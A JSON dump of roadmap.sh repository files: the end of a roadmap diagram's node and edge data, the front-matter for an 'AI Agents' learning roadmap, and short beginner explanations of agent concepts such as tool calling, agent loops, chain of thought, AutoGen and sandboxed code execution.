3202.5001335516636 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Privacy + PII Redaction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"k8Y_veuqbR0HzVj_Ekltf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 295,\n      \"height\": 49,\n      \"style\": {},\n      \"measured\": { \"width\": 295, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"EyLo2j8IQsIK91SKaXkmK\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 604.30929781038, \"y\": 3255.2501335516636 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Bias & Toxicity Guardrails\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"k8Y_veuqbR0HzVj_Ekltf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 295,\n      \"height\": 49,\n      \"style\": {},\n      \"measured\": { \"width\": 295, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"63nsfJFO1BwjLX_ZVaPFC\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 604.30929781038, \"y\": 3308.0001335516636 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Safety + Red Team Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"k8Y_veuqbR0HzVj_Ekltf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 295,\n      \"height\": 49,\n      \"style\": {},\n      \"measured\": { \"width\": 295, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"width\": 223,\n      \"height\": 49,\n      \"id\": \"-sFboM4eFUMVq1tlPl-fV\",\n      \"type\": \"button\",\n      \"position\": { \"x\": 212.99392181540966, \"y\": 3300.7409891427583 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AI & Data Scientist\",\n        \"href\": \"https://roadmap.sh/ai-data-scientist\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"qXKNK_IsGS8-JgLK-Q9oU\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -134.0311490763803, \"y\": 2895.0087874111223 },\n      \"style\": { \"width\": 378, \"height\": 49 },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": { \"width\": 223, \"height\": 49 }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VPI89s-m885r2YrXjYxdd\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"amfuroaEeP1sqhvPN-jgO\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__VPI89s-m885r2YrXjYxddz2-Ynvi5skgC85lgm96V_p42y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"McREk2zHOlIrqbGSKbX-J\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"kA1ggkT-2KI0cEdd3rIcM\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__McREk2zHOlIrqbGSKbX-Jz2-Ynvi5skgC85lgm96V_p42y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"QtTwecLdvQa8pgELJ6i80\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Ynvi5skgC85lgm96V_p42\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__QtTwecLdvQa8pgELJ6i80z2-Ynvi5skgC85lgm96V_p42y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"QtTwecLdvQa8pgELJ6i80\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"eeU25xBGXtFFisDckfn31\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__QtTwecLdvQa8pgELJ6i80x2-eeU25xBGXtFFisDckfn31w1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"eeU25xBGXtFFisDckfn31\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ZF5_5Y5zqa75Ov22JACX6\",\n      \"targetHandle\": \"y2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__eeU25xBGXtFFisDckfn31z2-ZF5_5Y5zqa75Ov22JACX6y2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Ji35JsKgUQXN4DJGEgTAC\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"imzXXZPt8wNny1oe3-MeN\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__Ji35JsKgUQXN4DJGEgTACx2-imzXXZPt8wNny1oe3-MeNw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"X8W7EWSJxYiY50sEs38fo\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"tJYmEDDwK0LtEux-kwp9B\",\n      \"targetHandle\": \"x1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__X8W7EWSJxYiY50sEs38fow2-tJYmEDDwK0LtEux-kwp9Bx1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"X8W7EWSJxYiY50sEs38fo\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"7-EqPC6VDTiFn8DfM7V63\",\n      \"targetHandle\": \"z2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__X8W7EWSJxYiY50sEs38foy2-7-EqPC6VDTiFn8DfM7V63z2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7-EqPC6VDTiFn8DfM7V63\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"B8dzg61TGaknuruBgkEJd\",\n      \"targetHandle\": \"x1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__7-EqPC6VDTiFn8DfM7V63w2-B8dzg61TGaknuruBgkEJdx1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7-EqPC6VDTiFn8DfM7V63\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"THJQQuiCmKGayd6EdcX9o\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__7-EqPC6VDTiFn8DfM7V63x2-THJQQuiCmKGayd6EdcX9ow1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"THJQQuiCmKGayd6EdcX9o\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"aFZAm44nP5NefX_9TpT0A\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__THJQQuiCmKGayd6EdcX9ox2-aFZAm44nP5NefX_9TpT0Aw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2zsOUWJQ8e7wnoHmq1icG\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Eih4eybuYB3C2So8K0AT3\",\n      \"targetHandle\": \"y2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__2zsOUWJQ8e7wnoHmq1icGz2-Eih4eybuYB3C2So8K0AT3y2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Eih4eybuYB3C2So8K0AT3\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"ZJTrun3jK3zBGOTm1jdMI\",\n      \"targetHandle\": \"x2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__Eih4eybuYB3C2So8K0AT3w2-ZJTrun3jK3zBGOTm1jdMIx2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fBn8SCyMuWS7fRLMJCgSy\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"tyjeFUjjTGFVXRLOe1Oh1\",\n      \"targetHandle\": \"z2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__fBn8SCyMuWS7fRLMJCgSyy2-tyjeFUjjTGFVXRLOe1Oh1z2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tyjeFUjjTGFVXRLOe1Oh1\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Y8EqzFx3qxtrSh7bWbbV8\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__tyjeFUjjTGFVXRLOe1Oh1y2-Y8EqzFx3qxtrSh7bWbbV8z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Y8EqzFx3qxtrSh7bWbbV8\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"v-zVQKH6XEMCI4Np-Q3Jo\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__Y8EqzFx3qxtrSh7bWbbV8x2-v-zVQKH6XEMCI4Np-Q3Jow1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"nlVToD-pmbBV2ikgrCQiO\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"qakbxB8xe7Y8gejC5cZnK\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__nlVToD-pmbBV2ikgrCQiOx2-qakbxB8xe7Y8gejC5cZnKw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"1B0IqRNYdtbHDi1jHSXuI\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"K2ueUkBcV5ASMhHUUZH-A\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__1B0IqRNYdtbHDi1jHSXuIx2-K2ueUkBcV5ASMhHUUZH-Aw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"1NXIN-Hbjl5rPy_mqxQYW\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"qLO_DcIM2OY_i8njSIt1q\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__1NXIN-Hbjl5rPy_mqxQYWx2-qLO_DcIM2OY_i8njSIt1qw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"T2vksVGCRajcwy_WRe2Yf\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"SU8HwGaDiRCho5I_pBl3N\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__T2vksVGCRajcwy_WRe2Yfz2-SU8HwGaDiRCho5I_pBl3Ny1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SU8HwGaDiRCho5I_pBl3N\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"-MLEtjuRq9y1HpZeKJCts\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__SU8HwGaDiRCho5I_pBl3Nx2--MLEtjuRq9y1HpZeKJCtsw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7c-FMXWsMGv95vxnUydFi\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"US6T5dXM8IY9V2qZnTOFW\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__7c-FMXWsMGv95vxnUydFix2-US6T5dXM8IY9V2qZnTOFWw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MeOebqpbLZkPbj0iWRjP2\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"aafZxtjxiwzJH1lwHBODi\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__MeOebqpbLZkPbj0iWRjP2x2-aafZxtjxiwzJH1lwHBODiw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"aafZxtjxiwzJH1lwHBODi\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"AQtxTTxmBpfl8BMgJbGzc\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__aafZxtjxiwzJH1lwHBODix2-1EZFbDHA5J5_5BPMLMxXbw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}\n"
  },
  {
    "path": "src/data/roadmaps/ai-agents/ai-agents.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/ai-agents.json'\npdfUrl: '/pdfs/roadmaps/ai-agents.pdf'\norder: 22\nbriefTitle: 'AI Agents'\nbriefDescription: 'Learn to design, build and ship AI agents in 2025'\ntitle: 'AI Agents'\ndescription: 'Learn to design, build and ship AI agents in 2025'\nisNew: true\nisHidden: false\nhasTopics: true\nrenderer: editor\ndimensions:\n  width: 968\n  height: 3230\nschema:\n  headline: 'AI Agents Roadmap'\n  description: 'Learn how to design, build and ship AI agents with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/ai-agents.png'\n  datePublished: '2025-04-29'\n  dateModified: '2025-04-29'\nseo:\n  title: 'AI Agents Roadmap'\n  description: 'Step by step guide to learn AI Agents in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  keywords:\n    - 'step by step guide for ai agents'\n    - 'how to learn ai agents'\n    - 'use ai agents in production'\n    - 'guide to learning ai agents'\n    - 'ai agents roadmap 2025'\n    - 'ai agents tutorial'\n    - 'ai agents for beginners'\n    - 'ai agents roadmap'\n    - 'ai agents learning path'\n    - 'ai agents learning roadmap'\n    - 'ai agents learning guide'\n    - 'ai agents skills'\n    - 'ai agents for development'\n    - 'ai agents for development skills'\n    - 'ai agents for development skills test'\n    - 'ai agents quiz'\n    - 'ai agents career path'\n    - 'ai agents interview questions'\n    - 'learn ai agents for development'\n    - 'become an ai agents expert'\n    - 'what is ai agents'\n    - 'what is ai agent'\nrelatedRoadmaps:\n  - 'ai-engineer'\n  - 'ai-data-scientist'\n  - 'prompt-engineering'\n  - 'data-analyst'\n  - 'mlops'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/acting--tool-invocation@sHYd4KsKlmw5Im3nQ19W8.md",
    "content": "# Acting / Tool Invocation\n\nActing, also called tool invocation, is the step where the AI chooses a tool and runs it to get real-world data or to change something. The agent looks at its current goal and the plan it just made. It then picks the best tool, such as a web search, a database query, or a calculator. The agent fills in the needed inputs and sends the call. The external system does the heavy work and returns a result. Acting ends when the agent stores that result so it can think about the next move.\n\nVisit the following resources to learn more:\n\n- [@article@What are Tools in AI Agents?](https://huggingface.co/learn/agents-course/en/unit1/tools)\n- [@article@What is Tool Calling in Agents?](https://www.useparagon.com/blog/ai-building-blocks-what-is-tool-calling-a-guide-for-pms)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/agent-loop@Eih4eybuYB3C2So8K0AT3.md",
    "content": "# Agent Loop\n\nAn agent loop is the cycle that lets an AI agent keep working toward a goal. First, the agent gathers fresh data from its tools, sensors, or memory. Next, it updates its internal state and decides what to do, often by running a planning or reasoning step. Then it carries out the chosen action, such as calling an API, writing to a file, or sending a message. After acting, it checks the result and stores new information. The loop starts again with the latest data, so the agent can adjust to changes and improve over time. This fast repeat of observe–decide–act gives the agent its power.\n\nVisit the following resources to learn more:\n\n- [@article@What is an Agent Loop?](https://huggingface.co/learn/agents-course/en/unit1/agent-steps-and-structure)\n- [@article@Let's Build your Own Agentic Loop](https://www.reddit.com/r/AI_Agents/comments/1js1xjz/lets_build_our_own_agentic_loop_running_in_our/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/anthropic-tool-use@1EZFbDHA5J5_5BPMLMxXb.md",
    "content": "# Anthropic Tool Use\n\nAnthropic Tool Use lets you connect a Claude model to real software functions so the agent can do useful tasks on its own. You give Claude a list of tools, each with a name, a short description, and a strict JSON schema that shows the allowed input fields. During a chat you send user text plus this tool list. Claude decides if a tool should run, picks one, and returns a JSON block that matches the schema. Your code reads the JSON, calls the matching function, and sends the result back to Claude for the next step. This loop repeats until no more tool calls are needed. Clear schemas, small field sets, and helpful examples make the calls accurate. By keeping the model in charge of choosing tools while your code controls real actions, you gain both flexibility and safety.\n\nVisit the following resources to learn more:\n\n- [@official@Anthropic Tool Use](https://docs.anthropic.com/en/docs/build-with-claude/tool-use/overview)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/api-requests@52qxjZILV-X1isup6dazC.md",
    "content": "# API Requests\n\nAPI requests let an AI agent ask another service for data or for an action. The agent builds a short message that follows the service’s rules, sends it over the internet, and waits for a reply. For example, it can call a weather API to get today’s forecast or a payment API to charge a customer. Each request has a method like GET or POST, a URL, and often a small block of JSON with needed details. The service answers with another JSON block that the agent reads and uses. Because API requests are fast and clear, they are a common tool for connecting the agent to many other systems without extra work.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to APIs - MDN Web Docs](https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Client-side_APIs/Introduction)\n- [@article@How APIs Power AI Agents: A Comprehensive Guide](https://blog.treblle.com/api-guide-for-ai-agents/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/autogen@7YtnQ9-KIvGPSpDzEDexl.md",
    "content": "# AutoGen\n\nAutoGen is an open-source Python framework that helps you build AI agents without starting from scratch. It lets you define each agent with a role, goals, and tools, then handles the chat flow between them and a large language model such as GPT-4. You can chain several agents so they plan, code, review, and run tasks together. The library includes ready-made modules for memory, task planning, tool calling, and function execution, so you only write the parts that are unique to your app. AutoGen connects to OpenAI, Azure, or local models through a simple settings file. Logs, cost tracking, and step-by-step debugging come built in, which makes testing easy. Because the agents are plain Python objects, you can mix them with other libraries or your own code. AutoGen is still young, so expect fast changes and keep an eye on usage costs, but it is a strong choice when you want to turn a prompt into a working multi-agent system in hours instead of weeks.\n\nVisit the following resources to learn more:\n\n- [@official@AutoGen - Microsoft Research](https://www.microsoft.com/en-us/research/project/autogen/)\n- [@opensource@GitHub - microsoft/autogen](https://github.com/microsoft/autogen)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/basic-backend-development@VPI89s-m885r2YrXjYxdd.md",
    "content": "# Basic Backend Development\n\nBefore you start learning how to build AI agents, we would recommend you to have a basic knowledge of Backend development. This includes, programming language knowledge, interacting with database and basics of APIs at minimum.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to the server-side](https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Introduction)\n- [@article@What is a REST API? - Red Hat](https://www.redhat.com/en/topics/api/what-is-a-rest-api)\n- [@article@What is a Database? - Oracle](https://www.oracle.com/database/what-is-database/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/be-specific-in-what-you-want@qFKFM2qNPEN7EoD0V-1SM.md",
    "content": "# Be specific in what you want\n\nWhen you ask an AI to do something, clear and exact words help it give the answer you want. State the goal, the format, and any limits up front. Say who the answer is for, how long it should be, and what to leave out. If numbers, dates, or sources matter, name them. For example, rather than “Explain World War II,” try “List three key events of World War II with dates and one short fact for each.” Being this precise cuts down on guesswork, avoids unwanted extra detail, and saves time by reducing follow-up questions.\n\nVisit the following resources to learn more:\n\n- [@article@Prompt Engineering Guide](https://www.promptingguide.ai/)\n- [@article@AI Prompting Examples, Templates, and Tips For Educators](https://honorlock.com/blog/education-ai-prompt-writing/)\n- [@article@How to Ask AI for Anything: The Art of Prompting](https://sixtyandme.com/using-ai-prompts/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/bias--toxicity-guardrails@EyLo2j8IQsIK91SKaXkmK.md",
    "content": "# Bias & Toxicity Guardrails\n\nBias and toxicity guardrails keep an AI agent from giving unfair or harmful results. Bias shows up when training data favors certain groups or views. Toxicity is language that is hateful, violent, or rude. To stop this, start with clean and balanced data. Remove slurs, stereotypes, and spam. Add examples from many voices so the model learns fair patterns. During training, test the model often and adjust weights or rules that lean one way. After training, put filters in place that block toxic words or flag unfair answers before users see them. Keep logs, run audits, and ask users for feedback to catch new issues early. Write down every step so builders and users know the limits and risks. These actions protect people, follow laws, and help users trust the AI.\n\nVisit the following resources to learn more:\n\n- [@article@Define the Agent Guardrails](https://trailhead.salesforce.com/content/learn/modules/agentforce-agent-planning/define-the-agent-guardrails)\n- [@article@How to Build Safe AI Agents: Best Practices for Guardrails](https://medium.com/@sahin.samia/how-to-build-safe-ai-agents-best-practices-for-guardrails-and-oversight-a0085b50c022)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/chain-of-thought-cot@qwdh5pkBbrF8LKPxbZp4F.md",
    "content": "# Chain of Thought (CoT)\n\nChain of Thought (CoT) is a way for an AI agent to think out loud. Before giving its final answer, the agent writes short notes that show each step it takes. These notes can list facts, name sub-tasks, or do small bits of math. By seeing the steps, the agent stays organized and is less likely to make a mistake. People who read the answer can also check the logic and spot any weak points. The same written steps can be fed back into the agent so it can plan, reflect, or fix itself. Because it is easy to use and boosts trust, CoT is one of the most common designs for language-based agents today.\n\nVisit the following resources to learn more:\n\n- [@article@Chain-of-Thought Prompting Elicits Reasoning in Large Language Models](https://arxiv.org/abs/2201.11903)\n- [@article@Evoking Chain of Thought Reasoning in LLMs - Prompting Guide](https://www.promptingguide.ai/techniques/cot)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/closed-weight-models@tJYmEDDwK0LtEux-kwp9B.md",
    "content": "# Closed Weight Models\n\nClosed-weight models are AI systems whose trained parameters—the numbers that hold what the model has learned—are not shared with the public. You can send prompts to these models through an online service or a software kit, but you cannot download the weights, inspect them, or fine-tune them on your own computer. The company that owns the model keeps control and sets the rules for use, often through paid APIs or tight licences. This approach helps the owner protect trade secrets, reduce misuse, and keep a steady income stream. The downside is less freedom for users, higher costs over time, and limited ability to audit or adapt the model. Well-known examples include GPT-4, Claude, and Gemini.\n\nVisit the following resources to learn more:\n\n- [@official@Open AI's GPT-4](https://openai.com/gpt-4)\n- [@official@Claude](https://www.anthropic.com/claude)\n- [@official@Gemini](https://deepmind.google/technologies/gemini/)\n- [@article@Open-Source LLMs vs Closed LLMs](https://hatchworks.com/blog/gen-ai/open-source-vs-closed-llms-guide/)\n- [@article@2024 Comparison of Open-Source Vs Closed-Source LLMs](https://blog.spheron.network/choosing-the-right-llm-2024-comparison-of-open-source-vs-closed-source-llms)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/code-execution--repl@mS0EVCkWuPN_GkVPng4A2.md",
    "content": "# Code Execution / REPL\n\nCode Execution or REPL (Read-Eval-Print Loop) lets an AI agent run small pieces of code on demand, see the result right away, and use that result to decide what to do next. The agent “reads” the code, “evaluates” it in a safe sandbox, “prints” the output, and then loops back for more input. With this tool the agent can test ideas, perform math, transform text, call APIs, or inspect data without waiting for a full build or deployment. Python, JavaScript, or even shell commands are common choices because they start fast and have many libraries. Quick feedback helps the agent catch errors early and refine its plan step by step. Sandboxing keeps the host system safe by blocking dangerous actions such as deleting files or making forbidden network calls. Overall, a Code Execution / REPL tool gives the agent a fast, flexible workbench for problem-solving.\n\nVisit the following resources to learn more:\n\n- [@article@What is a REPL?](https://docs.replit.com/getting-started/intro-replit)\n- [@article@Code Execution AI Agent](https://docs.praison.ai/features/codeagent)\n- [@article@Building an AI Agent's Code Execution Environment](https://murraycole.com/posts/ai-code-execution-environment)\n- [@article@Python Code Tool](https://python.langchain.com/docs/integrations/tools/python/)"
  },
  {
